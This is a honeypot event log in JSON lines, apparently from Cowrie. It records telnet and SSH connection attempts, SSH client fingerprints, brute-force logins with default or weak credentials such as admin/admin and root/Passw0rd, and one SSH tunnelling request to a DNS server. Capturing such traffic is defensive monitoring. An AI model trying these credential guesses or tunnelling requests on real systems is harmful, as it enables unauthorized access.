{"eventid":"cowrie.session.closed","duration":30.93668532371521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:57.073879Z","src_ip":"103.52.146.122","session":"f3dcd3a1c6ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":35144,"dst_ip":"10.17.0.5","dst_port":23,"session":"6246a5d079b7","protocol":"telnet","message":"New connection: 217.182.190.44:35144 (10.17.0.5:23) [session: 6246a5d079b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:58.658153Z"}
{"eventid":"cowrie.session.closed","duration":33.623430252075195,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:00.913137Z","src_ip":"217.182.190.44","session":"c034ad6d39c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54798,"dst_ip":"10.17.0.5","dst_port":22,"session":"625e153ea70b","protocol":"ssh","message":"New connection: 87.251.64.176:54798 (10.17.0.5:22) [session: 625e153ea70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:02.064941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:02.074968Z","src_ip":"87.251.64.176","session":"625e153ea70b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:02.175056Z","src_ip":"87.251.64.176","session":"625e153ea70b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:02.475781Z","src_ip":"87.251.64.176","session":"625e153ea70b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:02.576605Z","session":"625e153ea70b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:02.675494Z","src_ip":"87.251.64.176","session":"625e153ea70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:02.774977Z","src_ip":"87.251.64.176","session":"625e153ea70b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.51.40.166","src_port":22622,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0fa51ea2bc3","protocol":"telnet","message":"New connection: 189.51.40.166:22622 (10.17.0.5:23) [session: c0fa51ea2bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:11.105146Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":40624,"dst_ip":"10.17.0.5","dst_port":23,"session":"610970db7a0f","protocol":"telnet","message":"New connection: 217.182.190.44:40624 (10.17.0.5:23) [session: 610970db7a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:20.445729Z"}
{"eventid":"cowrie.session.closed","duration":0.14246034622192383,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:20.588067Z","src_ip":"217.182.190.44","session":"610970db7a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":44304,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3591457f560","protocol":"telnet","message":"New connection: 103.52.146.122:44304 (159.203.135.109:23) [session: a3591457f560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:22.647826Z"}
{"eventid":"cowrie.session.closed","duration":13.230788230895996,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:24.335851Z","src_ip":"189.51.40.166","session":"c0fa51ea2bc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82094168663025,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:31.478997Z","src_ip":"217.182.190.44","session":"6246a5d079b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":37360,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb9d1735896d","protocol":"ssh","message":"New connection: 125.22.105.67:37360 (10.17.0.5:22) [session: eb9d1735896d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:32.329531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:32.334916Z","src_ip":"125.22.105.67","session":"eb9d1735896d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:32.630116Z","src_ip":"125.22.105.67","session":"eb9d1735896d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456aA@","message":"login attempt [admin/123456aA@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:33.841153Z","src_ip":"125.22.105.67","session":"eb9d1735896d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:35.141018Z","src_ip":"125.22.105.67","session":"eb9d1735896d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":50578,"dst_ip":"10.17.0.5","dst_port":23,"session":"de653d4e68a4","protocol":"telnet","message":"New connection: 217.182.190.44:50578 (10.17.0.5:23) [session: de653d4e68a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:42.595982Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":33506,"dst_ip":"159.203.135.109","dst_port":22,"session":"653bb4a72887","protocol":"ssh","message":"New connection: 103.69.96.120:33506 (159.203.135.109:22) [session: 653bb4a72887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:49.616188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:49.621388Z","src_ip":"103.69.96.120","session":"653bb4a72887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:49.871803Z","src_ip":"103.69.96.120","session":"653bb4a72887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123abc","message":"login attempt [user/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:50.904412Z","src_ip":"103.69.96.120","session":"653bb4a72887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:52.157347Z","src_ip":"103.69.96.120","session":"653bb4a72887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.70741057395935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:01:54.355103Z","src_ip":"103.52.146.122","session":"a3591457f560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50972,"dst_ip":"159.203.135.109","dst_port":23,"session":"9318b17c0872","protocol":"telnet","message":"New connection: 174.138.46.234:50972 (159.203.135.109:23) [session: 9318b17c0872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:01.137651Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50980,"dst_ip":"159.203.135.109","dst_port":23,"session":"09982ace4b36","protocol":"telnet","message":"New connection: 174.138.46.234:50980 (159.203.135.109:23) [session: 09982ace4b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:01.157887Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51084,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd99f520736c","protocol":"telnet","message":"New connection: 174.138.46.234:51084 (159.203.135.109:23) [session: dd99f520736c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:01.521099Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51112,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac26f77c56f1","protocol":"telnet","message":"New connection: 174.138.46.234:51112 (159.203.135.109:23) [session: ac26f77c56f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:01.656346Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":46704,"dst_ip":"159.203.135.109","dst_port":23,"session":"72a7e4a9eee5","protocol":"telnet","message":"New connection: 103.52.146.122:46704 (159.203.135.109:23) [session: 72a7e4a9eee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:02.714598Z"}
{"eventid":"cowrie.session.closed","duration":120.00252866744995,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:05.645808Z","src_ip":"20.123.41.163","session":"d33b1dcfc512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":47216,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b836947fd3","protocol":"telnet","message":"New connection: 103.52.146.122:47216 (159.203.135.109:23) [session: 18b836947fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:06.498196Z"}
{"eventid":"cowrie.session.closed","duration":5.96345067024231,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:07.100967Z","src_ip":"174.138.46.234","session":"9318b17c0872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.818500757217407,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:07.339509Z","src_ip":"174.138.46.234","session":"dd99f520736c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.9746904373168945,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:09.132447Z","src_ip":"174.138.46.234","session":"09982ace4b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.984809637069702,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:09.641018Z","src_ip":"174.138.46.234","session":"ac26f77c56f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":55056,"dst_ip":"159.203.135.109","dst_port":23,"session":"faae3f0f416b","protocol":"telnet","message":"New connection: 103.52.146.122:55056 (159.203.135.109:23) [session: faae3f0f416b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:13.033727Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":57304,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a8180652628","protocol":"telnet","message":"New connection: 18.218.118.203:57304 (159.203.135.109:23) [session: 5a8180652628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:16.112497Z"}
{"eventid":"cowrie.session.closed","duration":34.57760524749756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:17.173468Z","src_ip":"217.182.190.44","session":"de653d4e68a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.022817850112915,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:26.135191Z","src_ip":"18.218.118.203","session":"5a8180652628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":44662,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e0df304f233","protocol":"telnet","message":"New connection: 18.218.118.203:44662 (10.17.0.5:23) [session: 1e0df304f233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:26.358618Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":41360,"dst_ip":"159.203.135.109","dst_port":23,"session":"33f211bf3997","protocol":"telnet","message":"New connection: 103.52.146.122:41360 (159.203.135.109:23) [session: 33f211bf3997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:30.819829Z"}
{"eventid":"cowrie.session.closed","duration":31.894991397857666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:34.609451Z","src_ip":"103.52.146.122","session":"72a7e4a9eee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.026888132095337,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:36.385396Z","src_ip":"18.218.118.203","session":"1e0df304f233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":50490,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d87629988b8","protocol":"telnet","message":"New connection: 103.52.146.122:50490 (159.203.135.109:23) [session: 2d87629988b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:42.501815Z"}
{"eventid":"cowrie.session.closed","duration":30.792105674743652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:43.825735Z","src_ip":"103.52.146.122","session":"faae3f0f416b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.486499309539795,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:43.984571Z","src_ip":"103.52.146.122","session":"18b836947fd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":45464,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7f92e8aee65","protocol":"ssh","message":"New connection: 103.69.96.120:45464 (159.203.135.109:22) [session: d7f92e8aee65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:50.345691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:50.350819Z","src_ip":"103.69.96.120","session":"d7f92e8aee65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:50.594785Z","src_ip":"103.69.96.120","session":"d7f92e8aee65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":56218,"dst_ip":"159.203.135.109","dst_port":23,"session":"9793997969ce","protocol":"telnet","message":"New connection: 103.52.146.122:56218 (159.203.135.109:23) [session: 9793997969ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:51.160623Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:51.599626Z","src_ip":"103.69.96.120","session":"d7f92e8aee65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":58754,"dst_ip":"159.203.135.109","dst_port":23,"session":"125e506c6777","protocol":"telnet","message":"New connection: 103.52.146.122:58754 (159.203.135.109:23) [session: 125e506c6777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:52.277613Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:52.848935Z","src_ip":"103.69.96.120","session":"d7f92e8aee65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":33812,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d7b4231b968","protocol":"telnet","message":"New connection: 103.52.146.122:33812 (159.203.135.109:23) [session: 2d7b4231b968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:02:56.226759Z"}
{"eventid":"cowrie.session.closed","duration":31.620533227920532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:02.440228Z","src_ip":"103.52.146.122","session":"33f211bf3997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":42778,"dst_ip":"159.203.135.109","dst_port":23,"session":"83ef96d5dd83","protocol":"telnet","message":"New connection: 103.52.146.122:42778 (159.203.135.109:23) [session: 83ef96d5dd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:07.460046Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":43608,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a5e497e1be","protocol":"telnet","message":"New connection: 103.52.146.122:43608 (159.203.135.109:23) [session: 40a5e497e1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:08.469833Z"}
